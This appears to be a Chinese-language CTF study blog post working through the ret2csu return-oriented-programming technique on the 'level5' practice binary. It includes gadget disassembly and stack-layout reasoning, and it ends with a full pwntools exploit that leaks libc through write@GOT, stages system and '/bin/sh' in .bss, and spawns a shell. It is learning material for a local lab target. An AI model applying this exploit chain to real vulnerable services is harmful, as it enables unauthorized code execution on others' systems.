ret2csu 蒸米 level5

ret2csu 蒸米 level5

202214

10:23

   

首先找到漏洞函数:

这里V1参数存在栈溢出参数128的长度

之后发现这个64位的程序存在一个__libc_csu_init函数,相当于需要初始化

这里发现有两段gadgets

.text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64j

.text:00000000004005F0 mov rdx, r15

.text:00000000004005F3 mov rsi, r14

.text:00000000004005F6 mov edi, r13d

.text:00000000004005F9 call qword ptr [r12+rbx*8]

.text:00000000004005FD add rbx, 1

.text:0000000000400601 cmp rbx, rbp

.text:0000000000400604 jnz short loc_4005F0

.text:0000000000400606

.text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48j

.text:0000000000400606 mov rbx, [rsp+38h+var_30]

.text:000000000040060B mov rbp, [rsp+38h+var_28]

.text:0000000000400610 mov r12, [rsp+38h+var_20]

.text:0000000000400615 mov r13, [rsp+38h+var_18]

.text:000000000040061A mov r14, [rsp+38h+var_10]

.text:000000000040061F mov r15, [rsp+38h+var_8]

.text:0000000000400624 add rsp, 38h

.text:0000000000400628 retn

这里400606的位置可以对rbxrbpr12r13r14r15内容进行赋值。

之后利用上面4005F0这个位置可以进行函数调用,所以可以操作函数,因此可以利用两段gadgets达到漏洞利用:

gadget1=400606

gadget2=4005F0

那么利用方式就是:

#1、先调用write_got函数泄露出write函数的真实地址,之后利用他们计算出libc的地址,通过libc的地址计算出system函数的地址,以及bin/sh字符串的地址。

调用write_got函数的过程是这样的:

write_got(1,write_got,8)

rdi=1、rsi=write_got、rdx=8

gadget2这个位置的内容调用需要这样:

r15=rdx=8

r14=rsi=write_got

r13d=edi=1

r12+rbx*8=write_got

为了使jnz这里不进行跳转,因为add rbx,1rbx=1,那么cmp处的rbx=0rbp=1满足不跳转条件,所以r12+rbx*8这里rbx=0,所以

r12=write_got

回过头来想gadget1处的利用:

.text:0000000000400606 mov rbx, [rsp+38h+var_30]

.text:000000000040060B mov rbp, [rsp+38h+var_28]

.text:0000000000400610 mov r12, [rsp+38h+var_20]

.text:0000000000400615 mov r13, [rsp+38h+var_18]

.text:000000000040061A mov r14, [rsp+38h+var_10]

.text:000000000040061F mov r15, [rsp+38h+var_8]

.text:0000000000400624 add rsp, 38h

.text:0000000000400628 retn

这里可以通过栈对rbx\rbp\r12\r13\r14\r15进行调用,因此利用漏洞函函数padding后,操作栈中内容,满足上述条件,这里要说明的是add rsp,38h这里因为rsp+38h所以还需要padding38h的数据之后再操作返回地址。

具体操作:

#初始化,准备工作

from pwn import *

file_path = './level5'

context(binary=file_path,os='linux')

elf = ELF(file_path)

#这里的so文件需要使用ldd命令查看

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process(file_path)

#获取write_got地址

write_got = elf.got['write']

#获取read_got地址,第二段漏洞利用需要用到

read_got = elf.got['read']

#获取main函数地址

main_addr = 0x400564

#这里要说明下因为不清楚栈空间如何布局所以可以先采用如下方式动态调试查看栈内空间:

#payload1 = padding1 + p64(gadget1) + b'C'*8 + b'D'*8 + b'E'*8 + b'F'*8 + b'G'*8 + b'H'*8 + padding2 + p64(main_addr)

#padding1 = b'A'*0x80 + b'B'*0x8

#padding2 = b'\00'*0x38

payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + b'C'*8 + b'D'*8 + b'E'*8 + b'F'*8 + b'G'*8 + b'H'*8

#这里调试的时候先下在漏洞函数处

gdb.attach(p,"b *0x400544")

p.sendafter('Hello, World\n',payload1)

p.interactive()

这里执行完一轮之后获取到的栈空间分布是这样的:

所以payload1的布局就是这样的:

payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(rsp) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(gadget2) + padding2 + p64(main_addr)

payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(rdx) + padding2 + p64(main_addr)

padding2 = 0x38

payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8) + p64(gadget2) +b'C'*0x38 + p64(main_addr)

payload1打进去之后能获取write_addr,通过write_addr获取libc的偏移。

第一段leaklibc的漏洞利用,这里只写了关键步骤:

gadget1 = 0x400606

gadget2 = 0x4005F0

payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(1) + p64(write_got) + p64(8) + p64(gadget2) +b'C'*0x38 + p64(main_addr)

#这里调试的时候先下在漏洞函数处

#gdb.attach(p,"b *0x400544")

p.sendafter('Hello, World\n',payload1)

#接收8位字符串内容

write_addr = u64(p.recv(8))

print(hex(write_addr))

#获取libc的偏移

libc_base = write_addr - libc.sym['write']

print(hex(libc_base))

#获取system地址

system_addr = libc_base + libc.sym['system']

print(hex(system_addr))

#获取binsh字符串地址

binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

print(hex(binsh_addr))

疑问:

#2、调用read函数对得到的system函数地址以及binsh字符串地址写入bss段。

调用read(0,bss,16)

payload2 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(read_got) + p64(16) + p64(gadget2) +b'C'*0x38 + p64(main_addr)

疑问这样发送payload2之后紧接着发送systemaddr以及binsh字符串为什么这样做呢?前面不是已经又binsh的字符串地址了吗?可以这样做吗?p64(system_addr) + p64(binsh_addr)

payload2 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(0) + p64(bss_got) + p64(16) + p64(gadget2) +b'C'*0x38 + p64(main_addr)

p.sendafter('Hello, World\n',payload2)

p.sleep(1)

p.send(p64(system_addr) + p64(binsh_addr))

p.sleep(1)

#3、之后再调用bss段的system函数地址执行bin/sh之后获得相应的shell。

下面的这段payload3调用为什么那么怪怪的跟最初的payload相比较为什么需要这样构造呢?:

rsp=0\rbx=0\rbp=1\r12=bss_addr\r13=bss_addr+8\r14=0\r15=0

payload1 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(rsp) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(gadget2) + padding2 + p64(main_addr)

payload3 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(gadget2) +b'C'*0x38 + p64(main_addr)

上述payload3打入的时候存在一个问题,不能够正常回显:

将payload3内容padding2中的b'c'改为b'\x00'能正常回显(疑问?为什么必须得这样)

payload3 = b'A'*0x80 + b'B'*0x8 + p64(gadget1) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) + p64(gadget2) +b'\x00'*0x38 + p64(main_addr)

######第三步##############################调用system执行binsh############

payload3 = b'A'*0x80 + b'B'*0x8

payload3 += p64(gadget1)

payload3 += p64(0)

payload3 += p64(0)

payload3 += p64(1)

payload3 += p64(bss_addr)

payload3 += p64(bss_addr+8)

payload3 += p64(0)

payload3 += p64(0)

payload3 += p64(gadget2)

payload3 += b'\x00'*0x38

payload3 += p64(main_addr)

p.sendafter('Hello, World\n',payload3)

p.interactive()

最终exp:

#-*- coding:utf-8 -*-

#初始化,准备工作

from pwn import *

file_path = './level5'

context(binary=file_path,os='linux')

elf = ELF(file_path)

#这里的so文件需要使用ldd命令查看

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process(file_path)

#获取write_got地址

write_got = elf.got['write']

#获取read_got地址,第二段漏洞利用需要用到

read_got = elf.got['read']

#获取main函数地址

main_addr = 0x400564

#这里要说明下因为不清楚栈空间如何布局所以可以先采用如下方式动态调试查看栈内空间:

#payload1 = padding1 + p64(gadget1) + b'C'*8 + b'D'*8 + b'E'*8 + b'F'*8 + b'G'*8 + b'H'*8 + padding2 + p64(main_addr)

#padding1 = b'A'*0x80 + b'B'*0x8

#padding2 = b'\00'*0x38

gadget1 = 0x400606

gadget2 = 0x4005F0

##第一步##############################leaklibc#####################################

payload1 = b'A'*0x80 + b'B'*0x8

payload1 += p64(gadget1)

payload1 += p64(0)

payload1 += p64(0)

payload1 += p64(1)

payload1 += p64(write_got)

payload1 += p64(1)

payload1 += p64(write_got)

payload1 += p64(8)

payload1 += p64(gadget2)

payload1 += b'C'*0x38

payload1 += p64(main_addr)

#这里调试的时候先下在漏洞函数处

#gdb.attach(p,"b *0x400544")

p.sendafter('Hello, World\n',payload1)

#接收8位字符串内容

write_addr = u64(p.recv(8))

#获取write函数的地址

print("write_addr:"+hex(write_addr))

#获取libc的偏移

libc_base = write_addr - libc.sym['write']

print("libc_base:"+hex(libc_base))

#获取system地址

system_addr = libc_base + libc.sym['system']

print("system_addr:"+hex(system_addr))

#获取binsh字符串地址

binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

print("binsh_addr:"+hex(binsh_addr))

##第二步##############################read(0,bss,16)#####################################

bss_addr = 0x601028

payload2 = b'A'*0x80 + b'B'*0x8

payload2 += p64(gadget1)

payload2 += p64(0)

payload2 += p64(0)

payload2 += p64(1)

payload2 += p64(read_got)

payload2 += p64(0)

payload2 += p64(bss_addr)

payload2 += p64(16)

payload2 += p64(gadget2)

payload2 += b'C'*0x38

payload2 += p64(main_addr)

p.sendafter('Hello, World\n',payload2)

sleep(1)

p.send(p64(system_addr) + b'/bin/sh\x00')

sleep(1)

######第三步##############################调用system执行binsh############

payload3 = b'A'*0x80 + b'B'*0x8

payload3 += p64(gadget1)

payload3 += p64(0)

payload3 += p64(0)

payload3 += p64(1)

payload3 += p64(bss_addr)

payload3 += p64(bss_addr+8)

payload3 += p64(0)

payload3 += p64(0)

payload3 += p64(gadget2)

payload3 += b'\x00'*0x38

payload3 += p64(main_addr)

p.sendafter('Hello, World\n',payload3)

p.interactive()

  

posted @ 2022-01-05 10:34  逆向菜狗  阅读(226)  评论(0编辑  收藏  举报